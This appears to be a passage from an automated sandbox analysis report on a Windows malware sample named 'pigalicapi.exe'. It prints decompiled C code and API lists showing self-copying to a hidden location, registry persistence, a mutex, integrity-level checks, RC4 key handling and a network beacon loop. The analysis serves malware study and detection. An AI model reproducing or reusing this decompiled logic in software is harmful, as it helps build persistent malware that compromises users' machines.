												if(_t76 != 0) {
													_v828 = 0x10;
													_t77 = _v816;
													__imp__CryptGetHashParam(_t77, 2,  &_v844,  &_v828, 0);
													if(_t77 != 0) {
														_t78 = E04007C70( &_v28,  &_v844,  &_v28, 0x10);
														_t109 = _t109 + 0xc;
														if((_t78 & 0x000000ff) != 0) {
															E04007B70(_a12,  &_v780, 0x300);
															_t109 = _t109 + 0xc;
															_v5 = 1;
														}
													}
												}
											}
											__imp__CryptDestroyHash(_v816);
										}
									}
								}
							}
							__imp__CryptDestroyHash(_v796);
							goto L21;
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L25;
				}
			}

0x040047f9
0x04004801
0x04004aab
0x04004ab1
0x04004814
0x04004814
0x0400482a
0x04004832
0x04004850
0x04004850
0x0400485a
0x04004860
0x0400486a
0x04004874
0x0400488f
0x040048b9
0x040048be
0x040048c1
0x040048c7
0x040048cd
0x040048eb
0x040048f3
0x04004a90
0x04004a96
0x04004889
0x00000000
0x04004889
0x00000000
0x04004a98
0x040048fd
0x0400490b
0x04004913
0x04004919
0x0400492c
0x0400493c
0x04004944
0x0400494a
0x04004975
0x04004982
0x0400498f
0x04004995
0x040049a9
0x040049b1
0x040049c5
0x040049cc
0x040049d4
0x040049da
0x040049e4
0x04004a00
0x04004a07
0x04004a0f
0x04004a11
0x04004a2d
0x04004a34
0x04004a3c
0x04004a4b
0x04004a50
0x04004a58
0x04004a6a
0x04004a6f
0x04004a72
0x04004a72
0x04004a58
0x04004a3c
0x04004a0f
0x04004a7d
0x04004a7d
0x040049b1
0x0400498f
0x04004944
0x04004a8a
0x00000000
0x04004a8a
0x04004aa5
0x04004aa5
0x00000000
0x0400485a

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 0400482A
GetLastError.KERNEL32 ref: 04004834
CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04004850
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 040048EB
CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 0400490B
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 0400493C
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 0400496F
CryptDestroyKey.ADVAPI32(00000000), ref: 04004982
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,?), ref: 040049A9
CryptHashData.ADVAPI32(?,?,000002F0,00000000), ref: 040049CC
CryptGetHashParam.ADVAPI32(?,00000004,00000000,00000004,00000000), ref: 04004A07

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04004845
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 0400481F

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Crypt$Hash$AcquireContextCreateData$DecryptDeriveDestroyErrorLastParam
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 2739279601-947817771
Opcode ID: 42090ebe0b84d1e6b92d05052a41d8df984fe46a239ada941c44efd33afc4f41
Instruction ID: 68028e15a08110d1318f396c41aabee13b9dff780772823a15a50aa733777c46
Opcode Fuzzy Hash: 42090ebe0b84d1e6b92d05052a41d8df984fe46a239ada941c44efd33afc4f41
Instruction Fuzzy Hash: 7E71DF71A54318ABFB65CF50CC45BED77BCAB48B04F408598A605BA1C0DBB9ABC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04003B00 Relevance: 23.1, APIs: 8, Strings: 5, Instructions: 302
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			_entry_() {
				intOrPtr _v8;
				char _v1148;
				signed char _v1149;
				intOrPtr _v1156;
				char _v1556;
				char _v9556;
				long _v9560;
				char _v9564;
				char _v12068;
				signed int _v12072;
				char _v12076;
				long _v12080;
				char _v12081;
				long _v12088;
				long _v12092;
				long _v12096;
				signed int _v12100;
				signed char _v12101;
				long _v12108;
				signed int _v12112;
				void* _v12116;
				signed char _t69;
				intOrPtr _t74;
				signed char _t77;
				signed char _t79;
				signed int _t80;
				signed char _t85;
				signed char _t86;
				signed char _t87;
				intOrPtr _t88;
				char* _t89;
				signed int _t97;
				void* _t98;
				signed int _t100;
				signed char _t102;
				signed char _t104;
				signed char _t106;
				signed char _t110;
				signed int _t116;
				signed int _t118;
				char _t125;
				signed int _t138;
				signed int _t140;
				intOrPtr _t143;
				signed int _t159;
				signed int _t161;
				void* _t163;
				void* _t165;
				void* _t173;
				void* _t177;

				E04001000(0x2f50);
				_v8 = E04003130();
				E04002ED0(_v8);
				GetModuleFileNameA(0, "C:\Users\engineer\pigalicapi.exe", 0x208);
				SetUnhandledExceptionFilter(E04005DB0); // executed
				__imp__CoInitialize(0); // executed
				_t69 = E04004510(_v8, 0x4013c88); // executed
				_t165 = _t163 + 0xc;
				if((_t69 & 0x000000ff) == 0) {
					L39:
					ExitProcess(0);
				}
				E04007D20( &_v1148,  &_v1148, 0, 0x46b);
				E04005700( &_v1148); // executed
				_t143 =  *0x40118a0; // 0x4013b88
				_t74 = E04005A00( &_v1148, _t143, 0xff); // executed
				_v1156 = _t74;
				E04007D20(_t74, "Kobucgekyxca", 0, 0x12c);
				E04009400( &_v1148, "Kobucgekyxca", 0xa); // executed
				_t77 = E040099F0(); // executed
				 *0x401435a = _t77;
				 *0x401435d = E04006060(); // executed
				_t79 = E04005E00(); // executed
				 *0x401435e = _t79;
				_t80 = StrStrIA("C:\Users\engineer\pigalicapi.exe", "svchost.exe"); // executed
				asm("sbb eax, eax");
				 *0x4014362 =  ~( ~_t80);
				E04001120("C:\Users\engineer\pigalicapi.exe", "pigalicapi",  *0x401435a & 0x000000ff,  *0x4014362 & 0x000000ff, 0x401436c); // executed
				_t85 = E04005E30(0); // executed
				 *0x401435b = _t85;
				 *0x401435f = 1; // executed
				_t86 = E04006CF0(); // executed
				_v1149 = _t86;
				_t87 = E04005F30(); // executed
				 *0x401435c = _t87 & 0x000000ff | _v1149 & 0x000000ff;
				_t88 = E04009B90(0xffffffff);
				_t173 = _t165 + 0x50;
				 *0x4014364 = _t88;
				_t89 =  &_v1556;
				_push(_t89);
				_push(0x202); // executed
				L0400B1E6(); // executed
				if(_t89 != 0) {
					goto L39;
				} else {
					_t125 =  *0x40119a8; // 0x1d
					_v12081 = _t125;
					 *0x4014378 = 0x10;
					if(( *0x401435f & 0x000000ff) != 0) {
						_t118 =  *0x4014378; // 0x1c
						 *0x4014378 = _t118 | 0x00000008;
					}
					if(( *0x401435c & 0x000000ff) != 0) {
						_t161 =  *0x4014378; // 0x1c
						 *0x4014378 = _t161 | 0x00000001;
					}
					if(( *0x401435b & 0x000000ff) != 0) {
						_t140 =  *0x4014378; // 0x1c
						 *0x4014378 = _t140 | 0x00000004;
					}
					if(( *0x401435e & 0x000000ff) != 0) {
						_t116 =  *0x4014378; // 0x1c
						 *0x4014378 = _t116 | 0x00000002;
					}
					if(( *0x4014360 & 0x000000ff) != 0) {
						_t159 =  *0x4014378; // 0x1c
						 *0x4014378 = _t159 | 0x00000020;
					}
					_t91 =  *0x4014361 & 0x000000ff;
					if(( *0x4014361 & 0x000000ff) != 0) {
						_t138 =  *0x4014378; // 0x1c
						 *0x4014378 = _t138 | 0x00000040;
					}
					_v9564 = 0x9c3;
					E04007D20(_t91,  &_v12068, 0, 0x9c4);
					E0400A700();
					E0400A4B0( &_v12068,  &_v9564, 0x4013cb6,  *0x4013cb4 & 0x0000ffff);
					_v9560 = 0;
					_t97 = E04005B50( &_v12068, ";",  &_v9560, 0); // executed
					_v12072 = _t97;
					_v12092 = 0;
					_v12080 = 0;
					_v12076 = 0x4b0;
					_t98 = E04008A70(0x4012c34,  &_v12076, 0x4012ba8, 0x8c, 0x400e008, 0x254); // executed
					_t177 = _t173 + 0x44;
					if(_t98 != 0) {
						E04007D20( &_v9556,  &_v9556, 0, 0x1f40);
						E040078D0(0x4012c34, 0xc8,  &_v9556, 0xc8);
						_t177 = _t177 + 0x1c;
						_v12092 =  &_v9556;
						_v12080 = 0xc8;
					}
					_v12088 = 0;
					L17:
					_v12101 = 0;
					_v12108 = 0x1d4c0;
					_v12096 = 0;
					_t100 = E04007970( &_v12096); // executed
					_v12100 = _t100;
					_t102 = E04004020(_v12096, _v12100,  &_v1148, 1, 2, 0);
					_t177 = _t177 + 0x1c;
					if((_t102 & 0x000000ff) != 0) {
						_v12101 = 1;
					} else {
						_t104 = E04004020(_v12092, _v12080,  &_v1148, 1, 5, 0);
						_t177 = _t177 + 0x18;
						if((_t104 & 0x000000ff) != 0) {
							_v12101 = 1;
						} else {
							_t106 = E04004020(_v9560, _v12072,  &_v1148, 3, 0xa, 1); // executed
							_t177 = _t177 + 0x18;
							if((_t106 & 0x000000ff) != 0) {
								_v12101 = 1;
							} else {
								_v12116 = 0;
								_v12112 = E040042E0( &_v12116);
								_t110 = E04004020(_v12116, _v12112,  &_v1148, 1, 0x17, 0);
								_t177 = _t177 + 0x1c;
								if((_t110 & 0x000000ff) != 0) {
									_v12101 = 1;
								}
								if(_v12116 != 0) {
									VirtualFree(_v12116, 0, 0x8000);
								}
							}
						}
					}
					if((_v12101 & 0x000000ff) != 0) {
						if( *0x40118a4 != 1) {
							if( *0x40118a4 == 2) {
								 *0x40118a4 = 1;
								_v12108 = 0x1499700;
							}
						} else {
							if( *0x40130e4 != 2) {
								_v12108 = 0x1499700;
							} else {
								_v12108 = 0x3e8;
								 *0x40118a4 = 2;
							}
						}
					}
					Sleep(_v12108); // executed
					goto L17;
				}
			}

0x04003b08
0x04003b12
0x04003b19
0x04003b2d
0x04003b38
0x04003b40
0x04003b4f
0x04003b54
0x04003b5c
0x0400400a
0x0400400c
0x0400400c
0x04003b70
0x04003b7f
0x04003b8c
0x04003b9a
0x04003ba2
0x04003bb4
0x04003bca
0x04003bd2
0x04003bd7
0x04003be1
0x04003be6
0x04003beb
0x04003bfa
0x04003c02
0x04003c06
0x04003c2a
0x04003c34
0x04003c3c
0x04003c41
0x04003c48
0x04003c4d
0x04003c53
0x04003c64
0x04003c6c
0x04003c71
0x04003c74
0x04003c79
0x04003c7f
0x04003c80
0x04003c85
0x04003c8c
0x00000000
0x04003c92
0x04003c92
0x04003c98
0x04003c9e
0x04003cb1
0x04003cb3
0x04003cbb
0x04003cbb
0x04003cc9
0x04003ccb
0x04003cd4
0x04003cd4
0x04003ce3
0x04003ce5
0x04003cee
0x04003cee
0x04003cfd
0x04003cff
0x04003d07
0x04003d07
0x04003d15
0x04003d17
0x04003d20
0x04003d20
0x04003d26
0x04003d2f
0x04003d31
0x04003d3a
0x04003d3a
0x04003d40
0x04003d58
0x04003d60
0x04003d80
0x04003d88
0x04003da7
0x04003daf
0x04003db5
0x04003dbf
0x04003dc9
0x04003df3
0x04003df8
0x04003dfd
0x04003e0d
0x04003e2b
0x04003e30
0x04003e39
0x04003e3f
0x04003e3f
0x04003e49
0x04003e53
0x04003e53
0x04003e5a
0x04003e64
0x04003e75
0x04003e7d
0x04003e9e
0x04003ea3
0x04003eab
0x04003f8a
0x04003eb1
0x04003ecc
0x04003ed1
0x04003ed9
0x04003f81
0x04003edf
0x04003efa
0x04003eff
0x04003f07
0x04003f78
0x04003f09
0x04003f09
0x04003f22
0x04003f43
0x04003f48
0x04003f50
0x04003f52
0x04003f52
0x04003f60
0x04003f70
0x04003f70
0x04003f76
0x04003f7f
0x04003f88
0x04003f9a
0x04003fa3
0x04003fd7
0x04003fd9
0x04003fe3
0x04003fe3
0x04003fa5
0x04003fac
0x04003fc4
0x04003fae
0x04003fae
0x04003fb8
0x04003fb8
0x04003fce
0x04003fa3
0x04003ff4
0x00000000
0x04003ff4

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\pigalicapi.exe,00000208), ref: 04003B2D
SetUnhandledExceptionFilter.KERNEL32(04005DB0), ref: 04003B38
CoInitialize.OLE32(00000000), ref: 04003B40

Part of subcall function 04004510: GetModuleFileNameA.KERNEL32(00000000,?,00000208), ref: 0400456C
Part of subcall function 04004510: CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0400458B
Part of subcall function 04004510: GetFileSize.KERNEL32(000000FF,00000000), ref: 040045AD
Part of subcall function 04004510: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040045D6
Part of subcall function 04004510: ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04004617
Part of subcall function 04004510: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0400463E
Part of subcall function 04004510: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040047C0
Part of subcall function 04004510: CloseHandle.KERNEL32(00000000), ref: 040047E0

ExitProcess.KERNEL32 ref: 0400400C

Part of subcall function 04005700: GetModuleFileNameA.KERNEL32(00000000,-00000100,00000104), ref: 04005742
Part of subcall function 04005700: lstrcpyA.KERNEL32(-0000043B,pigalicapi), ref: 040057B8
Part of subcall function 04005700: GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 040057F1
Part of subcall function 04005700: wnsprintfA.SHLWAPI ref: 0400582F
Part of subcall function 04005700: CreateFileA.KERNEL32(-00000100,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005854
Part of subcall function 04005700: GetFileSize.KERNEL32(000000FF,00000000), ref: 0400586D

Part of subcall function 04005A00: lstrcpyA.KERNEL32(Sscculmqcxgnq,WDefault), ref: 04005A47
Part of subcall function 04005A00: lstrlenA.KERNEL32(0400C4E0), ref: 04005A7D
Part of subcall function 04005A00: lstrcpyA.KERNEL32(00000000,0400C4E0), ref: 04005A97
Part of subcall function 04005A00: lstrlenA.KERNEL32(00000000), ref: 04005AA1
Part of subcall function 04005A00: lstrlenA.KERNEL32(Sscculmqcxgnq), ref: 04005AAE
Part of subcall function 04005A00: lstrcatA.KERNEL32(00000000,Sscculmqcxgnq), ref: 04005AC8
Part of subcall function 04005A00: RegCreateKeyExA.KERNEL32(80000001,00000000,00000000,00000000,00000000,00020006,00000000,00000000,00000000), ref: 04005B00
Part of subcall function 04005A00: RegCloseKey.KERNEL32(00000000), ref: 04005B0E
Part of subcall function 04005A00: lstrlenA.KERNEL32(00000000), ref: 04005B3B

Part of subcall function 04009400: lstrcpyA.KERNEL32(?,00000000), ref: 04009513
Part of subcall function 04009400: CharUpperA.USER32(?), ref: 04009521

Part of subcall function 040099F0: GetCurrentProcess.KERNEL32(00000008,?), ref: 04009A0A
Part of subcall function 040099F0: OpenProcessToken.ADVAPI32(00000000), ref: 04009A11
Part of subcall function 040099F0: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 04009A3A
Part of subcall function 040099F0: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000400,00000400), ref: 04009A77
Part of subcall function 040099F0: CreateWellKnownSid.ADVAPI32(0000000C,00000000,?,00000044), ref: 04009AAD
Part of subcall function 040099F0: EqualSid.ADVAPI32(?,00000000), ref: 04009AC3

Part of subcall function 04006060: GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 04006082

Part of subcall function 04005E00: CreateMutexA.KERNEL32(00000000,00000000,pigalicapi,?,04003BEB), ref: 04005E0C
Part of subcall function 04005E00: GetLastError.KERNEL32(?,04003BEB), ref: 04005E12

StrStrIA.SHLWAPI(C:\Users\user\pigalicapi.exe,svchost.exe), ref: 04003BFA

Part of subcall function 04001120: lstrlenA.KERNEL32(00000000), ref: 04001148
Part of subcall function 04001120: lstrlenA.KERNEL32(00000000), ref: 0400115A
Part of subcall function 04001120: GetAllUsersProfileDirectoryA.USERENV(?,00000104), ref: 04001182
Part of subcall function 04001120: wnsprintfA.SHLWAPI ref: 040011BD
Part of subcall function 04001120: lstrcmpiA.KERNEL32(00000104,?), ref: 040011D1
Part of subcall function 04001120: CopyFileA.KERNEL32(00000104,?,00000000), ref: 040011F0
Part of subcall function 04001120: SetFileAttributesA.KERNEL32(?,00000006), ref: 040011FF
Part of subcall function 04001120: lstrcpyA.KERNEL32(00000104,?), ref: 04001210
Part of subcall function 04001120: lstrcpyA.KERNEL32(00000000,?), ref: 04001249
Part of subcall function 04001120: lstrcpyA.KERNEL32(-00000208,00000000), ref: 0400125D
Part of subcall function 04001120: CreateThread.KERNEL32 ref: 04001274

Part of subcall function 04005E30: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,000F003F,00000000), ref: 04005E7E
Part of subcall function 04005E30: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005EB2
Part of subcall function 04005E30: RegDeleteValueA.ADVAPI32(00000000,?), ref: 04005ED6
Part of subcall function 04005E30: RegSetValueExA.KERNEL32(00000000,?,00000000,00000003,?,00000010), ref: 04005F0B
Part of subcall function 04005E30: RegCloseKey.KERNEL32(00000000), ref: 04005F19

Part of subcall function 04006CF0: RegOpenKeyExA.KERNEL32(80000001,04013B88,00000000,000F003F,00000000), ref: 04006D30
Part of subcall function 04006CF0: RegQueryValueExA.KERNEL32(00000000,04013FA6,00000000,00000003,?,00000020), ref: 04006D61
Part of subcall function 04006CF0: RegDeleteValueA.ADVAPI32(00000000,04013FA6), ref: 04006D7E
Part of subcall function 04006CF0: RegCloseKey.ADVAPI32(00000000), ref: 04006D88

Part of subcall function 04005F30: lstrcpyA.KERNEL32(?,pigalicapi), ref: 04005F67
Part of subcall function 04005F30: lstrcatA.KERNEL32(?,04013FE2), ref: 04005F7A
Part of subcall function 04005F30: RegOpenKeyExA.ADVAPI32(80000001,04003C58,00000000,000F003F,00000000), ref: 04005FB3
Part of subcall function 04005F30: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005FF2
Part of subcall function 04005F30: RegSetValueExA.KERNEL32(00000000,?,00000000,00000003,?,00000010), ref: 0400603B
Part of subcall function 04005F30: RegCloseKey.ADVAPI32(00000000), ref: 04006045

WSAStartup.WS2_32(00000202,?), ref: 04003C85

Part of subcall function 04004020: InitializeCriticalSection.KERNEL32(?), ref: 04004066
Part of subcall function 04004020: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0400407A
Part of subcall function 04004020: EnterCriticalSection.KERNEL32(?,?), ref: 040040AF
Part of subcall function 04004020: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040040C6
Part of subcall function 04004020: TerminateThread.KERNEL32(00000000,00000000), ref: 040040E6
Part of subcall function 04004020: ResetEvent.KERNEL32(00000000), ref: 040040F7
Part of subcall function 04004020: LeaveCriticalSection.KERNEL32(?), ref: 04004101
Part of subcall function 04004020: CreateThread.KERNEL32 ref: 04004118

VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04003F70
Sleep.KERNEL32(?), ref: 04003FF4

Strings

svchost.exe, xrefs: 04003BF0
pigalicapi, xrefs: 04003C20
C:\Users\user\pigalicapi.exe, xrefs: 04003B26, 04003BF5, 04003C25
Kobucgekyxca, xrefs: 04003BAF, 04003BBE
R+g, xrefs: 04003D7F

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: File$Createlstrcpy$Value$Closelstrlen$ModuleNameOpenVirtual$CriticalFreeProcessQuerySectionThreadToken$DeleteDirectoryEventInformationInitializeProfileSizeUserslstrcatwnsprintf$AllocAttributesChangeCharCopyCurrentEnterEqualErrorExceptionExitFilterFindHandleKnownLastLeaveMutexNotificationReadResetSleepStartupTerminateUnhandledUpperWelllstrcmpi
String ID: C:\Users\user\pigalicapi.exe$Kobucgekyxca$R+g$pigalicapi$svchost.exe
API String ID: 1389186475-3751886320
Opcode ID: 936e491051d98ae6235cf02158d581c5c2971d700090c455091cf7b57a494376
Instruction ID: 63648f9aec36bb26e753af5ac432a688f143a616cbd4529da37374c18a699aed
Opcode Fuzzy Hash: 936e491051d98ae6235cf02158d581c5c2971d700090c455091cf7b57a494376
Instruction Fuzzy Hash: 7EC11AB0944364AAF725DF64AC19BFA77B0AB04709F0480FDE6487A1E1DB7C6A84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04008800 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 113
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E04008800(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, BYTE* _a20, int _a24) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				signed int _v24;
				signed int _v28;
				long* _v32;
				char* _t41;
				int _t42;
				signed int _t43;
				intOrPtr _t46;
				int _t49;
				int _t51;
				char* _t71;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L19:
					return _v8;
				} else {
					_v12 = 0;
					_t41 =  *0x4013370; // 0x400c6e4
					_t42 = CryptAcquireContextA( &_v12, _t41, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t42 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t71 =  *0x4013370; // 0x400c6e4
							CryptAcquireContextA( &_v12, _t71, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v28 = 0x80;
						_v20 = 0;
						_v24 = _v28 << 0x00000010 | 0x00000001;
						_t43 = _v24;
						__imp__CryptGenKey(_v12, 0x6801, _t43,  &_v20); // executed
						if(_t43 != 0) {
							_t46 = _a4;
							__imp__CryptExportKey(_v20, 0, 8, 0, _t46, _a8);
							if(_t46 != 0) {
								if(_a12 == 0 || _a16 == 0 || _a20 == 0 || _a24 == 0) {
									_v8 = 1;
								} else {
									_v32 = 0;
									_t49 = CryptImportKey(_v12, _a20, _a24, 0, 1,  &_v32); // executed
									if(_t49 != 0) {
										_t51 = _v20;
										__imp__CryptExportKey(_t51, _v32, 1, 0, _a12, _a16); // executed
										_v8 = _t51;
										CryptDestroyKey(_v32);
									}
								}
							}
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L19;
				}
			}

0x04008806
0x04008811
0x0400895c
0x04008962
0x04008821
0x04008821
0x04008831
0x0400883b
0x04008843
0x0400884b
0x04008855
0x04008869
0x04008874
0x04008874
0x04008855
0x0400887e
0x04008884
0x0400888b
0x0400889b
0x040088a2
0x040088af
0x040088b7
0x040088c1
0x040088cf
0x040088d7
0x040088dd
0x0400893f
0x040088f1
0x040088f1
0x0400890c
0x04008914
0x04008926
0x0400892a
0x04008930
0x04008937
0x04008937
0x0400893d
0x040088dd
0x0400894a
0x0400894a
0x04008956
0x04008956
0x00000000
0x0400887e

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000,04008420,00000000,00001000,00000000), ref: 0400883B
GetLastError.KERNEL32 ref: 04008845
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008874
CryptGenKey.ADVAPI32(00000000,00006801,?,00000000), ref: 040088AF
CryptExportKey.ADVAPI32(00000000,00000000,00000008,00000000,00000000,00000000), ref: 040088CF
CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,?), ref: 0400890C
CryptExportKey.ADVAPI32(00000000,?,00000001,00000000,00000000,00000000), ref: 0400892A
CryptDestroyKey.ADVAPI32(?), ref: 04008937
CryptDestroyKey.ADVAPI32(00000000), ref: 0400894A
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008956

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 0400882C
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008864

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Crypt$Context$AcquireDestroyExport$ErrorImportLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3052018297-947817771
Opcode ID: a3ecfbe549d6a2009873a4562b9912e0752bd3a41684449d96c4f6673af668fd
Instruction ID: e62ef6a9a3e861f5d7bfaf583d60d4f1649157d47df97182d85979e93aebb629
Opcode Fuzzy Hash: a3ecfbe549d6a2009873a4562b9912e0752bd3a41684449d96c4f6673af668fd
Instruction Fuzzy Hash: E641E972A00209EBFB54EF94C849BAE77B9FB44705F14C518F615B61C0C7B9AA84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04001CA0 Relevance: 21.1, APIs: 14, Instructions: 111
stringprocessCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E04001CA0(CHAR* _a4, intOrPtr _a8) {
				char _v5;
				char _v272;
				long _v284;
				intOrPtr _v300;
				void* _v308;
				void* _v312;
				long _v316;
				long _v320;
				void* _v324;
				char _v328;
				int _v332;
				void* _t44;
				int _t47;
				int _t50;
				void* _t61;

				_v5 = 0;
				_t44 = CreateToolhelp32Snapshot(2, 0); // executed
				_v312 = _t44;
				if(_v312 == 0xffffffff) {
					L18:
					return _v5;
				}
				_v308 = 0x128;
				_t47 = Process32First(_v312,  &_v308); // executed
				if(_t47 == 0) {
					L17:
					CloseHandle(_v312);
					goto L18;
				}
				_v320 = GetCurrentProcessId();
				_v316 = 0;
				while(_v300 != _v320) {
					_t50 = Process32Next(_v312,  &_v308); // executed
					if(_t50 != 0) {
						continue;
					}
					L6:
					if(_v316 != 0 && Process32First(_v312,  &_v308) != 0) {
						while(_v300 != _v316) {
							if(Process32Next(_v312,  &_v308) != 0) {
								continue;
							}
							goto L17;
						}
						if(lstrlenA( &_v272) < _a8) {
							lstrcpyA(_a4,  &_v272);
							_v324 = OpenProcess(0x410, 0, _v316);
							if(_v324 != 0) {
								_v332 = 0;
								_push( &_v332);
								_push(4);
								_push( &_v328);
								_t61 = _v324;
								_push(_t61); // executed
								L0400B1D4(); // executed
								if(_t61 == 0) {
									_push(_a8);
									_push(_a4);
									_push(_v324); // executed
									L0400B1C8(); // executed
								} else {
									_push(_a8);
									_push(_a4);
									_push(_v328);
									_push(_v324);
									L0400B1CE();
								}
								_v5 = 1;
								FindCloseChangeNotification(_v324); // executed
							}
						}
					}
					goto L17;
				}
				_v316 = _v284;
				goto L6;
			}

0x04001ca9
0x04001cb1
0x04001cb6
0x04001cc3
0x04001e51
0x04001e57
0x04001e57
0x04001cc9
0x04001ce1
0x04001ce8
0x04001e44
0x04001e4b
0x00000000
0x04001e4b
0x04001cf4
0x04001cfa
0x04001d04
0x04001d2e
0x04001d35
0x00000000
0x00000000
0x04001d37
0x04001d3e
0x04001d5f
0x04001e3e
0x00000000
0x00000000
0x00000000
0x04001e3e
0x04001d81
0x04001d92
0x04001dac
0x04001db9
0x04001dbb
0x04001dcb
0x04001dcc
0x04001dd4
0x04001dd5
0x04001ddb
0x04001ddc
0x04001de3
0x04001e05
0x04001e09
0x04001e10
0x04001e11
0x04001de5
0x04001de8
0x04001dec
0x04001df3
0x04001dfa
0x04001dfb
0x04001dfb
0x04001e16
0x04001e21
0x04001e21
0x04001db9
0x04001e27
0x00000000
0x04001d3e
0x04001d18
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04001CB1
Process32First.KERNEL32(000000FF,00000128), ref: 04001CE1
GetCurrentProcessId.KERNEL32 ref: 04001CEE
Process32Next.KERNEL32 ref: 04001D2E
Process32First.KERNEL32(000000FF,00000128), ref: 04001D52
lstrlenA.KERNEL32(?,000000FF,00000128,000000FF,00000128), ref: 04001D78
lstrcpyA.KERNEL32(-00000204,?), ref: 04001D92
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 04001DA6
EnumProcessModules.PSAPI(00000000,?,00000004,00000000), ref: 04001DDC
GetModuleFileNameExA.PSAPI(00000000,?,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001DFB
GetProcessImageFileNameA.PSAPI(00000000,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001E11
FindCloseChangeNotification.KERNEL32(00000000,00000000,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001E21
Process32Next.KERNEL32 ref: 04001E37
CloseHandle.KERNEL32(000000FF), ref: 04001E4B

Memory Dump Source

